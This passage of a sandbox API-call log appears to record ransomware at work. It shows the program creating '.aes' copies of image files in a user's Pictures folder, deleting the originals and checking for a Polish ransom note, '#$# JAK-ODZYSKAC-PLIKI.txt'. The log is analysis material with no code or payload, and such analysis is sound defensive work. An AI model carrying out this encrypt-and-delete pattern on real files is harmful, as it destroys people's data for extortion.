1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif", lpFilePart=0x0) returned 0x4a [0085.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0085.811] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hy7xic9tp5afulp5tba.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0085.811] GetFileType (hFile=0x8e4) returned 0x1 [0085.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0085.811] GetFileType (hFile=0x8e4) returned 0x1 [0085.811] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif.aes", lpFilePart=0x0) returned 0x4e [0085.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0085.811] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hy7xic9tp5afulp5tba.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0085.811] GetFileType (hFile=0x7c8) returned 0x1 [0085.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0085.811] GetFileType (hFile=0x7c8) returned 0x1 [0085.811] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0085.861] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0085.861] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0085.872] LocalFree (hMem=0x703ef10) returned 0x0 [0085.872] GetAdaptersAddresses () returned 0x6f [0085.878] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0085.878] GetAdaptersAddresses () returned 0x0 [0085.883] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.894] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.894] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.928] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.928] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0085.942] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0085.943] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0085.951] LocalFree (hMem=0x6ff2da0) returned 0x0 [0085.952] LocalFree (hMem=0x7074460) returned 0x0 [0085.952] GetBestInterfaceEx (in: pDestAddr=0x27eee68*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0086.080] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\hy7xiC9tP5aFULp5TBa.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\hy7xic9tp5afulp5tba.gif")) returned 1 [0086.081] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0086.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0086.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0086.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0086.081] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0086.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg", lpFilePart=0x0) returned 0x46 [0086.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0086.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\ljszdoyltsvld u.jpg"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e738c0, ftCreationTime.dwHighDateTime=0x1d2f65a, ftLastAccessTime.dwLowDateTime=0x54f72ec0, ftLastAccessTime.dwHighDateTime=0x1d2f550, ftLastWriteTime.dwLowDateTime=0x54f72ec0, ftLastWriteTime.dwHighDateTime=0x1d2f550, nFileSizeHigh=0x0, nFileSizeLow=0xbd6a)) returned 1 [0086.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0086.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg", lpFilePart=0x0) returned 0x46 [0086.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0086.120] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\ljszdoyltsvld u.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0086.120] GetFileType (hFile=0x8e4) returned 0x1 [0086.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0086.120] GetFileType (hFile=0x8e4) returned 0x1 [0086.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg.aes", lpFilePart=0x0) returned 0x4a [0086.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0086.120] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\ljszdoyltsvld u.jpg.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0086.120] GetFileType (hFile=0x7c8) returned 0x1 [0086.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0086.120] GetFileType (hFile=0x7c8) returned 0x1 [0086.120] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0086.128] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0086.128] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0086.135] LocalFree (hMem=0x703ef10) returned 0x0 [0086.135] GetAdaptersAddresses () returned 0x6f [0086.140] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0086.140] GetAdaptersAddresses () returned 0x0 [0086.144] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.151] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.151] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.207] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.207] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.213] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.213] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.220] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.220] LocalFree (hMem=0x7074460) returned 0x0 [0086.220] GetBestInterfaceEx (in: pDestAddr=0x27c64d8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0086.288] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\ljSzdoYLTSvld u.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\ljszdoyltsvld u.jpg")) returned 1 [0086.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0086.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0086.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0086.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0086.290] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0086.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif", lpFilePart=0x0) returned 0x46 [0086.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0086.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\metsfgadg8jkpvq.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e65e300, ftCreationTime.dwHighDateTime=0x1d2f9e2, ftLastAccessTime.dwLowDateTime=0x294d53b0, ftLastAccessTime.dwHighDateTime=0x1d2f5f2, ftLastWriteTime.dwLowDateTime=0x294d53b0, ftLastWriteTime.dwHighDateTime=0x1d2f5f2, nFileSizeHigh=0x0, nFileSizeLow=0xcc4)) returned 1 [0086.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0086.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif", lpFilePart=0x0) returned 0x46 [0086.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0086.310] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\metsfgadg8jkpvq.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0086.310] GetFileType (hFile=0x8dc) returned 0x1 [0086.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0086.310] GetFileType (hFile=0x8dc) returned 0x1 [0086.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif.aes", lpFilePart=0x0) returned 0x4a [0086.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0086.310] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\metsfgadg8jkpvq.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0086.310] GetFileType (hFile=0x8e4) returned 0x1 [0086.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0086.310] GetFileType (hFile=0x8e4) returned 0x1 [0086.310] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0086.318] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0086.318] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0086.324] LocalFree (hMem=0x703ef10) returned 0x0 [0086.325] GetAdaptersAddresses () returned 0x6f [0086.329] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0086.329] GetAdaptersAddresses () returned 0x0 [0086.334] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.340] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.340] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.366] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.367] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.373] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.373] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.379] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.379] LocalFree (hMem=0x7074460) returned 0x0 [0086.379] GetBestInterfaceEx (in: pDestAddr=0x28b68ec*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0086.458] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\MEtsfgADG8jkpvQ.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\metsfgadg8jkpvq.gif")) returned 1 [0086.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0086.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0086.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xece86240, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xece86240, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0086.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0086.459] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0086.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png", lpFilePart=0x0) returned 0x42 [0086.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0086.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\qb7s9ah4l3t.png"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b4ffd0, ftCreationTime.dwHighDateTime=0x1d2f727, ftLastAccessTime.dwLowDateTime=0x59a17230, ftLastAccessTime.dwHighDateTime=0x1d2feee, ftLastWriteTime.dwLowDateTime=0x59a17230, ftLastWriteTime.dwHighDateTime=0x1d2feee, nFileSizeHigh=0x0, nFileSizeLow=0xb2cd)) returned 1 [0086.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0086.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png", lpFilePart=0x0) returned 0x42 [0086.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0086.522] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\qb7s9ah4l3t.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0086.522] GetFileType (hFile=0x8dc) returned 0x1 [0086.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0086.523] GetFileType (hFile=0x8dc) returned 0x1 [0086.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png.aes", lpFilePart=0x0) returned 0x46 [0086.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0086.523] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\qb7s9ah4l3t.png.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0086.523] GetFileType (hFile=0x8e4) returned 0x1 [0086.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0086.523] GetFileType (hFile=0x8e4) returned 0x1 [0086.523] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0086.565] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0086.565] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0086.573] LocalFree (hMem=0x703ef10) returned 0x0 [0086.573] GetAdaptersAddresses () returned 0x6f [0086.577] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0086.577] GetAdaptersAddresses () returned 0x0 [0086.582] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.588] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.588] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.595] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.595] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0086.607] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0086.607] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0086.613] LocalFree (hMem=0x6ff2da0) returned 0x0 [0086.613] LocalFree (hMem=0x7074460) returned 0x0 [0086.613] GetBestInterfaceEx (in: pDestAddr=0x2cbd728*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0086.720] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\QB7s9AH4L3t.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\qb7s9ah4l3t.png")) returned 1 [0086.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0086.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0086.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\k-E 1jpgXeyuKG\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\k-e 1jpgxeyukg\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece86240, ftCreationTime.dwHighDateTime=0x1d3468a, 